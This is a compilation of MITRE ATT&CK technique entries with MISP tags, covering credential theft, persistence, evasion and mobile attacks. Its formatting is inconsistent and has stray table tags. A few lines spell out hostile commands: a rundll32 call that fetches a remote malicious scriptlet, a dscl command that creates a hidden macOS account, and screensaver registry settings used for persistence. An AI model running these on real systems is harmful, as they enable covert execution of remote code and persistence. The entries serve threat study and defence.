Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

The tag is: misp-galaxy:mitre-attack-pattern="Private Keys - T1145"
Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen.

Biometric Spoofing

If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism (Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.

Device Unlock Code Guessing or Brute Force

An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner’s use of the lockscreen passcode.

Exploit Other Device Lockscreen Vulnerabilities

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

The tag is: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"

Input Capture - T1417

Adversaries may capture user input to obtain credentials or other information from the user through various methods.
Malware may masquerade as a legitimate third-party keyboard to record user keystrokes. On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

On Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.

Additional methods of keylogging may be possible if root access is available.

### Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in `<code>/Library/Preferences/com.apple.loginwindow</code>` called `<code>Hide500Users</code>` that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: `<code>sudo dscl . -create /Users/username UniqueID 401</code>` (Citation: Cybereason OSX Pirrit).

### Application Discovery - T1418

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the `PackageManager` class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the `pm` command line tool.
On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple’s App Store.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Discovery - T1418"`

**SSH Hijacking - T1184**

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: `misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"`

**Web Service - T1481**

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

### LC_MAIN Hijacking - T1149

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

### Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android’s accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the
following methods:

- Mimicking user clicks on the screen, for example to steal money from a user’s PayPal account. (Citation: android-trojan-steals-paypal-2fa)

- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user. (Citation: Talos Gustuff Apr 2019)

- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers. (Citation: bitwarden autofill logins)

The tag is: `misp-galaxy:mitre-attack-pattern="Input Injection - T1516"

### Startup Items - T1165

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, `<code>/Library/StartupItems</code>` isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `<code>StartupParameters.plist</code>`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

</tr>
</tbody>
</table>

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

Launch Agent - T1159

Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in `<code>/System/Library/LaunchAgents</code>`, `<code>/Library/LaunchAgents</code>`, and `<code>$HOME/Library/LaunchAgents</code>` (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).

</tbody>
</table>
Browser Extensions - T1176

Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with
PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- **Transact** – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- **Load** – Create a shared section of memory and load the malicious executable.
• Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

• Animate – Create a process from the tainted section of memory and initiate execution.

**LSASS Driver - T1177**

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

</tbody>
</table>
Forced Authentication - T1187

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user’s system accesses the untrusted resource it will attempt authentication and send information including the user’s hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to `<code>file[://][remote address]/Normal.dotm</code>` to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)

- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `<code>\[remote address\]pic.png</code>` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

BITS Jobs - T1197

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)

Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.

Data Encrypted - T1532

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.

Capture Audio - T1429

Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the `<code>android.permission.RECORD_AUDIO</code>` permission to access the microphone and the `<code>android.permission.CAPTURE_AUDIO_OUTPUT</code>` permission to access audio output such as speakers. Android does not allow third-party applications to hold `<code>android.permission.CAPTURE_AUDIO_OUTPUT</code>`, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful
privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.

Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt. (Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process. (Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users. (Citation: THE FINANCIAL TIMES LTD 2019.)

**Device Lockout - T1446**

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode. (Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device. (Citation: Xiao-KeyRaider)

**Data Destruction - T1485**

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. (Citation: Symantec Shamoon 2012) (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017) (Citation: Unit 42 Shamoon3 2018) (Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as `<code>del</code>` and `<code>rm</code>` often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. (Citation: Kaspersky StoneDrill 2017) (Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). (Citation: Symantec Shamoon 2012) (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017) (Citation: Talos Olympic Destroyer 2018)

### Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to
negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.

The tag is: \textit{misp-galaxy:mitre-attack-pattern}="Resource Hijacking - T1496"

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in `<code>C:\Windows\System32\</code> and `<code>C:\Windows\sysWOW64\</code>` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (`<code>HKCU\Control Panel\Desktop\</code>`) and could be manipulated to achieve persistence:

- `<code>SCRNSAVE.exe</code>` - set to malicious PE path
- `<code>ScreenSaveActive</code>` - set to '1' to enable the screensaver
- `<code>ScreenSaverIsSecure</code>` - set to '0' to not require a password to unlock
- `<code>ScreenSaveTimeout</code>` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented...
shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication",document.write();GetObject("script:https://example.com/malicious.sct")` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

**DCShadow - T1207**

DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain
object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)

**Kerberoasting - T1208**

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov

**Masquerading - T1036**

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named `<code>March 25 \u202Excod.scr</code>` will display as `<code>March 25 rcs.docx</code>`. A JavaScript file named `<code>photo_high_re\u202Egnp.js</code>` will be displayed as `<code>photo_high_resj.png</code>`. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances
of deceiving a security analyst or product. (Citation: Threatexpress MetaTwin 2017)

**Windows**

In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

An example of abuse of trusted locations in Windows would be the `<code>C:\Windows\System32</code>` directory. Examples of trusted binary names that can be given to malicious binaries include "explorer.exe" and "svchost.exe".

**Linux**

Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)

An example of abuse of trusted locations in Linux would be the `<code>/bin</code>` directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)

Scripting - T1064

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the
BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

**Volume Boot Record**

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

**PowerShell - T1086**

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

**Timestomp - T1099**

Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

**Regsvr32 - T1117**

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
